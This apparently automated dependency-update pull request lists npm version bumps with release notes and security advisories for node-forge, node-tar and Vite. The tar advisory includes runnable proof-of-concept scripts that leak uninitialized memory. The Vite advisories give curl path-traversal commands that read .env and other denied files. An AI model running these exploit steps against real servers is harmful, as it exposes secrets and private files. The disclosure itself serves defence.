↗️ jiti (indirect, 2.4.2 → 2.6.1) · Repo · Changelog

Release Notes

2.6.1

compare changes

🩹 Fixes

  • interop: Only passthrough default if it is not a promise (#408)

📦 Build

  • Revert to terser-webpack-plugin (#407)

❤️ Contributors

2.6.0

compare changes

🌟 What is new?

This release fixes minor issues, migrates to Rspack for dist, and lazily imports the Babel transformer only when needed, which should noticeably improve startup times.

  • Install size reduced from 2.03MB to 1.67MB
  • Loading times improved 150ms => 22ms (full transform: 180ms => 115ms)

🔥 Performance

  • Lazy load transformer (#405)

🩹 Fixes

  • cjs-interop: Handle function default exports (#396)
  • Always use native require/import for node: specifiers (#392)

📦 Build

  • Migrate to rspack (#404)
  • Updated bundled dependencies (diff)

✅ Tests

  • Update deno and bun native test coverage (df844f8)

❤️ Contributors

2.5.1

compare changes

🩹 Fixes

  • interop: Passthrough module if it is a promise (#389)

2.5.0

compare changes

🚀 Enhancements

  • Use sha256 for cache entries in FIPS mode (#375)
  • Support rebuildFsCache ( JITI_REBUILD_FS_CACHE) (#379)

🩹 Fixes

  • Interop modules with null/undefined default export (#377)
  • Handle require(<json>) in register mode (#374)

📦 Dependencies

📖 Docs

  • Add defaults in JSDocs (#365)

✅ Tests

  • Only include src for coverage report (#372)

❤️ Contributors

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 34 commits:

↗️ knitwork (indirect, 1.2.0 → 1.3.0) · Repo · Changelog

Release Notes

1.3.0

compare changes

🚀 Enhancements

  • Add genDynamicTypeImport (#125)

🩹 Fixes

  • Remove commas in module augmentation (#114)

❤️ Contributors

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 21 commits:

↗️ launch-editor (indirect, 2.10.0 → 2.12.0) · Repo

Sorry, we couldn’t find anything useful about this release.

↗️ local-pkg (indirect, 1.1.1 → 1.1.2) · Repo

Release Notes

1.1.2

No significant changes

    View changes on GitHub

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 3 commits:

↗️ magic-string (indirect, 0.30.17 → 0.30.21) · Repo · Changelog

Release Notes

0.30.21

No significant changes

    View changes on GitHub

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 16 commits:

↗️ magicast (indirect, 0.3.5 → 0.5.1) · Repo · Changelog

Release Notes

0.5.1

   🐞 Bug Fixes

    View changes on GitHub

0.5.0

   🚨 Breaking Changes

   🐞 Bug Fixes

  • exports, object: Preserve async keyword for generated functions  -  by @userquin in #138 (3c2c6)
    View changes on GitHub

0.4.0

compare changes

🚀 Enhancements

  • ⚠️ Add introspection and improve proxy behavior (#136)

🏡 Chore

⚠️ Breaking Changes

  • ⚠️ Add introspection and improve proxy behavior (#136)

❤️ Contributors

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 19 commits:

↗️ mime (indirect, 4.0.7 → 4.1.0) · Repo · Changelog

Release Notes

4.1.0

4.1.0 (2025-09-12)

Features

  • enable literal type access to MIME types in Typescript (#339) (7de528d)

Bug Fixes

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 4 commits:

↗️ mime-types (indirect, 3.0.1 → 3.0.2) · Repo · Changelog

Release Notes

3.0.2

What's Changed

New Contributors

Full Changelog: v3.0.1...v3.0.2

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 19 commits:

↗️ minizlib (indirect, 3.0.2 → 3.1.0) · Repo

Commits

See the full diff on Github. The new version differs by 3 commits:

↗️ mlly (indirect, 1.7.4 → 1.8.0) · Repo · Changelog

Release Notes

1.8.0

compare changes

🚀 Enhancements

  • findExports: Support export default class in declaration exports (#320)

🔥 Performance

  • Improve regexp performance with non-capturing groups (#314)

🩹 Fixes

  • findExports: Exclude parameter names from function declaration export names (#319)

❤️ Contributors

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 16 commits:

↗️ node-forge (indirect, 1.3.1 → 1.3.3) · Repo · Changelog

Security Advisories 🚨

🚨 node-forge has an Interpretation Conflict vulnerability via its ASN.1 Validator Desynchronization

Summary

CVE-2025-12816 has been reserved by CERT/CC

Description
An Interpretation Conflict (CWE-436) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures to desynchronize schema validations, yielding a semantic divergence that may bypass downstream cryptographic verifications and security decisions.

Details

A critical ASN.1 validation bypass vulnerability exists in the node-forge asn1.validate function within forge/lib/asn1.js. ASN.1 is a schema language that defines data structures, like the typed record schemas used in X.509, PKCS#7, PKCS#12, etc. DER (Distinguished Encoding Rules), a strict binary encoding of ASN.1, is what cryptographic code expects when verifying signatures, and the exact bytes and structure must match the schema used to compute and verify the signature. After deserializing DER, Forge uses static ASN.1 validation schemas to locate the signed data or public key, compute digests over the exact bytes required, and feed digest and signature fields into cryptographic primitives.

This vulnerability allows a specially crafted ASN.1 object to desynchronize the validator on optional boundaries, causing a malformed optional field to be semantically reinterpreted as the subsequent mandatory structure. This manifests as logic bypasses in cryptographic algorithms and protocols with optional security features (such as PKCS#12, where MACs are treated as absent) and semantic interpretation conflicts in strict protocols (such as X.509, where fields are read as the wrong type).

Impact

This flaw allows an attacker to desynchronize the validator, allowing critical components like digital signatures or integrity checks to be skipped or validated against attacker-controlled data.

This vulnerability impacts the ans1.validate function in node-forge before patched version 1.3.2.
https://github.com/digitalbazaar/forge/blob/main/lib/asn1.js.

The following components in node-forge are impacted.
lib/asn1.js
lib/x509.js
lib/pkcs12.js
lib/pkcs7.js
lib/rsa.js
lib/pbe.js
lib/ed25519.js

Any downstream application using these components is impacted.

These components may be leveraged by downstream applications in ways that enable full compromise of integrity, leading to potential availability and confidentiality compromises.

🚨 node-forge is vulnerable to ASN.1 OID Integer Truncation

Summary

MITRE-Formatted CVE Description
An Integer Overflow (CWE-190) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures containing OIDs with oversized arcs. These arcs may be decoded as smaller, trusted OIDs due to 32-bit bitwise truncation, enabling the bypass of downstream OID-based security decisions.

Description

An ASN.1 OID Integer Truncation vulnerability exists in the node-forge asn1.derToOid function within forge/lib/asn1.js. OID components are decoded using JavaScript's bitwise left-shift operator (<<), which forcibly casts values to 32-bit signed integers. Consequently, if an attacker provides a mathematically unique, very large OID arc integer exceeding $2^{31}-1$, the value silently overflows and wraps around rather than throwing an error.

Impact

This vulnerability allows a specially crafted ASN.1 object to spoof an OID, where a malicious certificate with a massive, invalid OID is misinterpreted by the library as a trusted, standard OID, potentially bypassing security controls.

This vulnerability impacts the asn1.derToOid function in node-forge before patched version 1.3.2.

Any downstream application using this component is impacted. This component may be leveraged by downstream applications in ways that enables partial compromise of integrity, leading to potential availability and confidentiality compromises.

🚨 node-forge has ASN.1 Unbounded Recursion

Summary

An Uncontrolled Recursion (CWE-674) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft deep ASN.1 structures that trigger unbounded recursive parsing. This leads to a Denial-of-Service (DoS) via stack exhaustion when parsing untrusted DER inputs.

Details

An ASN.1 Denial of Service (Dos) vulnerability exists in the node-forge asn1.fromDer function within forge/lib/asn1.js. The ASN.1 DER parser implementation (_fromDer) recurses for every constructed ASN.1 value (SEQUENCE, SET, etc.) and lacks a guard limiting recursion depth. An attacker can craft a small DER blob containing a very large nesting depth of constructed TLVs which causes the Node.js V8 engine to exhaust its call stack and throw RangeError: Maximum call stack size exceeded, crashing or incapacitating the process handling the parse. This is a remote, low-cost Denial-of-Service against applications that parse untrusted ASN.1 objects.

Impact

This vulnerability enables an unauthenticated attacker to reliably crash a server or client using node-forge for TLS connections or certificate parsing.

This vulnerability impacts the ans1.fromDer function in node-forge before patched version 1.3.2.

Any downstream application using this component is impacted. These components may be leveraged by downstream applications in ways that enable full compromise of availability.

Release Notes

1.3.3 (from changelog)

Fixed

  • [pkcs12] Make digestAlgorithm parameters optional to fix PKCS#12/PFX issues introduced in 1.3.2.

1.3.2 (from changelog)

Security

  • HIGH: ASN.1 Validator Desynchronization
    • An Interpretation Conflict (CWE-436) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures to desynchronize schema validations, yielding a semantic divergence that may bypass downstream cryptographic verifications and security decisions.
    • Reported by Hunter Wodzenski.
    • CVE ID: CVE-2025-12816
    • GHSA ID: GHSA-5gfm-wpxj-wjgq
  • HIGH: ASN.1 Unbounded Recursion
    • An Uncontrolled Recursion (CWE-674) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft deep ASN.1 structures that trigger unbounded recursive parsing. This leads to a Denial-of-Service (DoS) via stack exhaustion when parsing untrusted DER inputs.
    • Reported by Hunter Wodzenski.
    • CVE ID: CVE-2025-66031
    • GHSA ID: GHSA-554w-wpv2-vw27
  • MODERATE: ASN.1 OID Integer Truncation
    • An Integer Overflow (CWE-190) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures containing OIDs with oversized arcs. These arcs may be decoded as smaller, trusted OIDs due to 32-bit bitwise truncation, enabling the bypass of downstream OID-based security decisions.
    • Reported by Hunter Wodzenski.
    • CVE ID: CVE-2025-66030
    • GHSA ID: GHSA-65ch-62r8-g69g

Fixed

  • [asn1] Fix for vulnerability identified by CVE-2025-12816 PKCS#12 MAC verification bypass due to missing macData enforcement and improper asn1.validate routine.
  • [asn1] Add fromDer() max recursion depth check.
    • Add a asn1.maxDepth global configurable maximum depth of 256.
    • Add a asn1.fromDer() per-call maxDepth option.
    • NOTE: The default maximum is assumed to be higher than needed for valid data. If this assumption is false then this could be a breaking change. Please file an issue if there are use cases that need a higher maximum.
    • NOTE: The per-call maxDepth parameter has not been exposed up through all of the API stack due to the complexities involved. Please file an issue if there are use cases that require this instead of changing the default maximum.
  • [asn1] Improve OID handling.
    • Error on parsed OID values larger than 2**32 - 1.
    • Error on DER OID values larger than 2**53 - 1 .

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 38 commits:

↗️ node-releases (indirect, 2.0.19 → 2.0.27) · Repo

Commits

See the full diff on Github. The new version differs by 42 commits:

↗️ ofetch (indirect, 1.4.1 → 1.5.1) · Repo · Changelog

Release Notes

1.5.1

compare changes

🩹 Fixes

  • Normalize options.headers (again) after onRequest hook (#524)

❤️ Contributors

1.5.0

compare changes

🚀 Enhancements

  • Serialize with URLSearchParams for application/x-www-form-urlencoded content type header (#482)
  • Auto detect text/event-stream as stream response type (#486)

🩹 Fixes

  • Mark FormData & URLSearchParams as non-serializable for bun compatibility (#483)

💅 Refactors

  • Deprecate params in favor of query (#511)

📖 Documentation

  • readme: Use ProxyAgent in example (#465)
  • Fix typo (#472)
  • Add retryStatusCodes option to auto retry example (#480)
  • Guide on augmenting FetchOptions (#487)
  • Replace ProxyAgent with Agent in self-signed certs example (#516)

❤️ Contributors

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 46 commits:

↗️ open (indirect, 10.1.2 → 10.2.0) · Repo

Release Notes

10.2.0

v10.1.2...v10.2.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 4 commits:

↗️ oxc-parser (indirect, 0.76.0 → 0.102.0) · Repo · Changelog

↗️ pkg-types (indirect, 2.2.0 → 2.3.0) · Repo · Changelog

Release Notes

2.3.0

compare changes

🚀 Enhancements

  • packagejson: Object format support for workspaces field (#236)
  • Add deno.lock to known lockfiles (#244)
  • Support package.json5 and package.yaml (#234)
  • updatePackage, sortPackage and normalizePackage utils (#240)

🏡 Chore

  • Fix typo in jsdocs (#237)

❤️ Contributors

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 10 commits:

↗️ postcss-discard-comments (indirect, 7.0.4 → 7.0.5) · Repo · Changelog

Release Notes

7.0.5 (from changelog)

Patch Changes

  • f31273c: add the cache for parser & fix the unexpected comment

Does any of this look wrong? Please let us know.

↗️ postcss-merge-rules (indirect, 7.0.6 → 7.0.7) · Repo · Changelog

↗️ postcss-selector-parser (indirect, 7.1.0 → 7.1.1) · Repo · Changelog

Release Notes

7.1.1

7.1.1

  • perf: replace startsWith with strict equality (#308)
  • fix(types): add walkUniversal declaration (#311)

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 6 commits:

↗️ pretty-bytes (indirect, 6.1.1 → 7.1.0) · Repo

Release Notes

7.1.0

  • Add fixedWidth option for right-aligned output 73df489
  • Add nonBreakingSpace option b637640
  • Fix truncation behavior with fraction digits options b64cee5

v7.0.1...v7.1.0

7.0.1

  • Fix precision with the binary option (#88) c9fd951

v7.0.0...v7.0.1

7.0.0

Breaking

Improvements

v6.1.1...v7.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 11 commits:

↗️ rollup (indirect, 4.44.2 → 4.53.5) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ rollup-plugin-visualizer (indirect, 6.0.3 → 6.0.5) · Repo · Changelog

Release Notes

6.0.5 (from changelog)

  • Bump version to test new deployment because of NPM update

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 4 commits:

↗️ sax (indirect, 1.4.1 → 1.4.3) · Repo

Commits

See the full diff on Github. The new version differs by 9 commits:

↗️ semver (indirect, 7.7.2 → 7.7.3) · Repo · Changelog

Release Notes

7.7.3

7.7.3 (2025-10-06)

Bug Fixes

Chores

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 6 commits:

↗️ send (indirect, 1.2.0 → 1.2.1) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by 22 commits:

↗️ serve-static (indirect, 2.2.0 → 2.2.1) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by 23 commits:

↗️ simple-git (indirect, 3.28.0 → 3.30.0) · Repo · Changelog

↗️ sirv (indirect, 3.0.1 → 3.0.2) · Repo

Commits

See the full diff on Github. The new version differs by 2 commits:

↗️ source-map (indirect, 0.7.4 → 0.7.6) · Repo · Changelog

Release Notes

0.7.6

Full Changelog: 0.7.5...0.7.6

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ statuses (indirect, 2.0.1 → 2.0.2) · Repo · Changelog

Release Notes

2.0.2

What's Changed

New Contributors

Full Changelog: v2.0.1...v2.0.2

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 22 commits:

↗️ std-env (indirect, 3.9.0 → 3.10.0) · Repo · Changelog

Release Notes

3.10.0

compare changes

🚀 Enhancements

  • Detect DENO_DEPLOY for deno deploy EA (#167)
  • Detect google cloud run / job (#161)

💅 Refactors

📦 Build

  • Add type: "module" to package.json (cb104d3)

❤️ Contributors

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 12 commits:

↗️ streamx (indirect, 2.22.1 → 2.23.0) · Repo

Commits

See the full diff on Github. The new version differs by 3 commits:

↗️ strip-ansi (indirect, 7.1.0 → 7.1.2) · Repo

Release Notes

7.1.2

v7.1.0...v7.1.2

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 3 commits:

↗️ strip-literal (indirect, 3.0.0 → 3.1.0) · Repo

Release Notes

3.1.0

   🏎 Performance

    View changes on GitHub

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 5 commits:

↗️ superjson (indirect, 2.2.2 → 2.2.6) · Repo

Release Notes

2.2.5

What's Changed

Full Changelog: v2.2.3...v2.2.5

2.2.3

What's Changed

New Contributors

Full Changelog: v2.2.2...v2.2.3

Does any of this look wrong? Please let us know.

Sorry, we couldn’t find anything useful about this release.

↗️ supports-color (indirect, 10.0.0 → 10.2.2) · Repo

Release Notes

10.2.2

10.2.0

v10.1.0...v10.2.0

10.1.0

v10.0.0...v10.1.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 5 commits:

↗️ tar (indirect, 7.4.3 → 7.5.2) · Repo · Changelog

Security Advisories 🚨

🚨 node-tar has a race condition leading to uninitialized memory exposure

Summary

Using .t (aka .list) with { sync: true } to read tar entry contents returns uninitialized memory contents if tar file was changed on disk to a smaller size while being read.

Details

See:

PoC

A:

import * as tar from 'tar'
import fs from 'node:fs'

fs.writeFileSync('tar.test.tmp', Buffer.alloc(1*1024))

// from readme
const filesAdded = []
tar.c(
  {
    sync: true,
    file: 'tar.test.tmp.tar',
    onWriteEntry(entry) {
      // initially, it's uppercase and 0o644
      console.log('adding', entry.path, entry.stat.mode.toString(8))
      // make all the paths lowercase
      entry.path = entry.path.toLowerCase()
      // make the entry executable
      entry.stat.mode = 0o755
      // in the archive, it's lowercase and 0o755
      filesAdded.push([entry.path, entry.stat.mode.toString(8)])
    },
  },
  ['./tar.test.tmp'],
)

const a = fs.readFileSync('tar.test.tmp.tar')

for (let i = 0; ; i++){
  if (i % 10000 === 0) console.log(i)
  fs.writeFileSync('tar.test.tmp.tar', a)
  fs.truncateSync('tar.test.tmp.tar', 600)
}

B (vulnerable):

import * as tar from 'tar'
import * as fs from 'fs'

while (true) {
  fs.readFileSync(import.meta.filename)
  tar.t({
    sync: true,
    file: 'tar.test.tmp.tar',
    onReadEntry: e => e.on('data', b => {
      const a = b.filter(x => x)
      if (a.length > 0) console.log(a.toString())
    })
  })
}

Run A and B in parallel on Node.js 22 or >=25.1.0

Dumps B memory (wait for some time to observe text data)

Impact

Exposes process memory and could result in e.g. unintentionally (aka attacker-controlled) attempting to process sensitive data rather than tar entry contents. Uninitialized memory can contain unrelated file contents, environment variables, passwords, etc.

To execute, an attacker must reduce the file size to boundary between a tar header and body block, in the time between when the tar archive file size is read via stat, and the time when the tar archive parser reaches the entry that is truncated. If the file is truncated at a different boundary, then the uninitialized data will very likely not be a valid tar entry, causing the parser to treat the entry as a damaged archive (that is, throwing an error in strict: true mode, or by default, skipping the entry harmlessly).

This is conditional on using the sync: true option to the tar.list/tar.t method, and the 7.5.1 version specifically. Earlier versions were not affected.

This is also conditional to attacker being able to truncate (or induce a truncation/replacement) of a file on disk (e.g. in cache).

If the tar file is initially larger than the opt.maxReadSize (16kb by default), then uninitialized memory is not exposed to user code, and instead the program enters an infinite loop, causing a DoS rather than an information disclosure vulnerability.

By default, tar.list does not process tar archive entry body content. So, this is further conditional on the user code doing something with the tar entry file contents in an onReadEntry method which would expose the file contents (for example, attempting to parse them in such a way that the uninitialized data could appear in an error message).

Other methods in this library (tar.extract, etc.) are not affected by this vulnerability.

Commits

See the full diff on Github. The new version differs by 29 commits:

↗️ terser (indirect, 5.43.1 → 5.44.1) · Repo · Changelog

Release Notes

5.44.1 (from changelog)

  • fix bitwise optimization changing the result of &&, ||
  • switches: make sure var is extracted from a deleted default case

5.44.0 (from changelog)

  • Support using and await using declarations (#1635)

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 10 commits:

↗️ tinyglobby (indirect, 0.2.14 → 0.2.15) · Repo · Changelog

Release Notes

0.2.15

Added

  • Documentation page at https://superchupu.dev/tinyglobby, which also contains a library comparison page and migration guide.

    It's been a huge effort that took two months to make.

    Big thanks to @outslept, @43081j and @benmccann for helping out! ❤️

  • JSDoc to all functions and options based on the online documentation page

  • Benchmarks with help from @43081j and @benmccann

  • braceExpansion option

  • extglob option

  • fs option

  • globstar option by @benmccann

  • signal option

  • package.json export as tinyglobby/package.json

  • Ability to pass readonly types by @TomerAberbach

  • Support for URLs in cwd option

Changed

  • Rewritten path processing algorithm leading to a huge performance increase in many cases with help from @43081j and @benmccann

  • Deprecated using patterns inside the options object

  • Enabled trusted publishing using npm's OIDC support

Fixed

  • Negated bracket expressions i.e. [!abc]
  • Some patterns like +++ breaking the partial matcher

Consider sponsoring if you'd like to support the development of this project and the goal of reaching a lighter and faster ecosystem

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 43 commits:

↗️ type-fest (indirect, 4.41.0 → 5.3.1) · Repo

Release Notes

5.3.1

  • PackageJson: Fix key type for DependencyOverrides (#1307) 0430f56

v5.3.0...v5.3.1

5.3.0

Improvements

Fixes

  • IsEqual: Fix generic inference (#1306) f7b2667
  • ConditionalPickDeep / SimplifyDeep: Prevent mapping over built-ins (#1293) f14a75a
  • ArraySlice / StringSlice: Fix behavior with unions (#1291) 133258b

v5.2.0...v5.3.0

5.2.0

New types

Improvements

Fixes

  • ExcludeRestElement: Fix generic assignability with arrays (#1274) 12ef5b2
  • GreaterThanOrEqual / LessThan: Fix behavior with operands like N and N | N + >0 (#1280) b2caa3f

v5.1.0...v5.2.0

5.1.0

New types

Improvements

  • ReadonlyTuple: Deprecate in favor of TupleOf (#1256) af4bebc
  • TsConfigJson: Add missing lib enum values (#1263) 72f491f
  • TsConfigJson: Add rewriteRelativeImportExtensions (#1262) 7d011ce

Fixes

  • PartialDeep: Fix behavior with functions containing multiple call signatures (#1259) 3bd9de6
  • IsEqual: Fix behaviour when instantiated with never and unknown (#1251) 785549f
  • FixedLengthArray: Fix element type (#1246) ee29ef7
  • is-equal: Fix handling with intersecting wrapped types (#1231) 5af60a1

v5.0.1...v5.1.0

5.0.1

v5.0.0...v5.0.1

5.0.0

Breaking

New types

Improvements

Fixes

Meta

Huge thanks to all the contributors to this release, especially @som-sm 🙌

v4.41.0...v5.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ unenv (indirect, 2.0.0-rc.18 → 2.0.0-rc.24) · Repo · Changelog

↗️ unhead (indirect, 2.0.12 → 2.0.19) · Repo

Release Notes

2.0.19

   🐞 Bug Fixes

    View changes on GitHub

2.0.18

   🏎 Performance

    View changes on GitHub

2.0.17

No significant changes

    View changes on GitHub

2.0.16

No significant changes

    View changes on GitHub

2.0.15

   🐞 Bug Fixes

   🏎 Performance

    View changes on GitHub

2.0.14

   🐞 Bug Fixes

    View changes on GitHub

2.0.13

   🐞 Bug Fixes

    View changes on GitHub

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 56 commits:

↗️ unplugin-vue-router (indirect, 0.14.0 → 0.19.1) · Repo · Changelog

Release Notes

0.19.1

   🚀 Features

   🐞 Bug Fixes

    View changes on GitHub

0.19.0

Please refer to CHANGELOG.md for details.

0.18.0

Please refer to CHANGELOG.md for details.

0.17.2

Please refer to CHANGELOG.md for details.

0.17.1

Please refer to CHANGELOG.md for details.

0.17.0

Please refer to CHANGELOG.md for details.

0.16.2

Please refer to CHANGELOG.md for details.

0.16.1

Please refer to CHANGELOG.md for details.

0.16.0

Please refer to CHANGELOG.md for details.

0.15.0

Please refer to CHANGELOG.md for details.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ unstorage (indirect, 1.16.0 → 1.17.3) · Repo · Changelog

Release Notes

1.17.3

compare changes

📦 Build

  • Create d.cts and d.mts type declarations for drivers/ (#710)

❤️ Contributors

1.17.2

compare changes

📦 Build

  • Fix masquerading as CJS issue (#700)

❤️ Contributors

1.17.1

compare changes

🩹 Fixes

  • prefixStorage: Strip prefix from keys() (#666)
  • vercel-blob: Expose driver options (#671)

📖 Documentation

  • redis: Update github links and cluster warning (#667)

📦 Build

  • Allow @vercel/functions v3 as peer dep (8bb9943)

❤️ Contributors

1.17.0

compare changes

🚀 Enhancements

  • Add vercel-runtime-cache driver (#656)
  • deno-kv: Support ttl for setItem and setItemRaw (#659)

📖 Documentation

  • database: Correct tableName config key (#652, (#653)

❤️ Contributors

1.16.1

compare changes

🔥 Performance

  • mongoDB: Use bulk operations for getItems and setItems (#641)
  • redis, upstash: Use bulk operations for getItems (#642)

🩹 Fixes

  • types: fix prefixStorage type compatibility (#630)
  • s3: Accept 200 for delete response for better compatibility (#636)
  • github: Add user-agent header (#644)

💅 Refactors

  • Allow @netlify/blobs v9 and v10 as peer dependency (#640)

📖 Documentation

  • github: Update GitHub casing (#632)

📦 Build

  • Fix invalid runtime type (#631)

✅ Tests

  • R2 native meta (#646)

❤️ Contributors

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 45 commits:

↗️ update-browserslist-db (indirect, 1.1.3 → 1.2.3) · Repo · Changelog

Release Notes

1.2.2

  • Fixed update on depth in pnpm config.

1.2.1

  • Fix ERR_PNPM_NO_PACKAGE_IN_DEPENDENCIES error on pnpm with old Browserslist.

1.2.0

  • Add Baseline data updating too.

1.1.4

  • Fixed package.json changes on pnpm update.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 26 commits:

↗️ vite (indirect, 6.3.5 → 7.3.0) · Repo · Changelog

Security Advisories 🚨

🚨 vite allows server.fs.deny bypass via backslash on Windows

Summary

Files denied by server.fs.deny were sent if the URL ended with \ when the dev server is running on Windows.

Impact

Only apps that match the following conditions are affected:

  • explicitly exposes the Vite dev server to the network (using --host or server.host config option)
  • running the dev server on Windows

Details

server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns). These patterns were able to bypass by using a back slash(\). The root cause is that fs.readFile('/foo.png/') loads /foo.png.

PoC

npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env\ http://localhost:5173
image

🚨 vite allows server.fs.deny bypass via backslash on Windows

Summary

Files denied by server.fs.deny were sent if the URL ended with \ when the dev server is running on Windows.

Impact

Only apps that match the following conditions are affected:

  • explicitly exposes the Vite dev server to the network (using --host or server.host config option)
  • running the dev server on Windows

Details

server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns). These patterns were able to bypass by using a back slash(\). The root cause is that fs.readFile('/foo.png/') loads /foo.png.

PoC

npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env\ http://localhost:5173
image

🚨 vite allows server.fs.deny bypass via backslash on Windows

Summary

Files denied by server.fs.deny were sent if the URL ended with \ when the dev server is running on Windows.

Impact

Only apps that match the following conditions are affected:

  • explicitly exposes the Vite dev server to the network (using --host or server.host config option)
  • running the dev server on Windows

Details

server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns). These patterns were able to bypass by using a back slash(\). The root cause is that fs.readFile('/foo.png/') loads /foo.png.

PoC

npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env\ http://localhost:5173
image

🚨 Vite middleware may serve files starting with the same name with the public directory

Summary

Files starting with the same name with the public directory were served bypassing the server.fs settings.

Impact

Only apps that match the following conditions are affected:

Details

The servePublicMiddleware function is in charge of serving public files from the server. It returns the viteServePublicMiddleware function which runs the needed tests and serves the page. The viteServePublicMiddleware function checks if the publicFiles variable is defined, and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. publicFiles may be undefined if there is a symbolic link anywhere inside the public directory. In that case, every requested page will be passed to the public serving function. The serving function is based on the sirv library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware disables this functionality since public pages are meant to be available always, regardless of whether they are in the allow or deny list.

In the case of public pages, the serving function is provided with the path to the public directory as a root directory. The code of the sirv library uses the join function to get the full path to the requested file. For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will use the string's startsWith function to determine whether the created path is within the given directory or not. Only if it is, it will be served.

Since sirv trims the trailing slash of the public directory, the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts with  "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that).

PoC

Execute the following shell commands:

npm  create  vite@latest
cd vite-project/
mkdir p
cd p
ln -s a b
cd ..
echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js
echo  "secret" > private.txt
npm install
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/private.txt'

You will receive a 403 HTTP Response,  because private.txt is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/../private.txt'

You will receive the contents of private.txt.

Related links

🚨 Vite's `server.fs` settings were not applied to HTML files

Summary

Any HTML files on the machine were served regardless of the server.fs settings.

Impact

Only apps that match the following conditions are affected:

  • explicitly exposes the Vite dev server to the network (using --host or server.host config option)
  • appType: 'spa' (default) or appType: 'mpa' is used

This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.

Details

The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.

PoC

Execute the following shell commands:

npm  create  vite@latest
cd vite-project/
echo  "secret" > /tmp/secret.html
npm install
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'

The contents of /tmp/secret.html will be returned.

This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:

echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})'  >  [vite.config.js](http://vite.config.js)
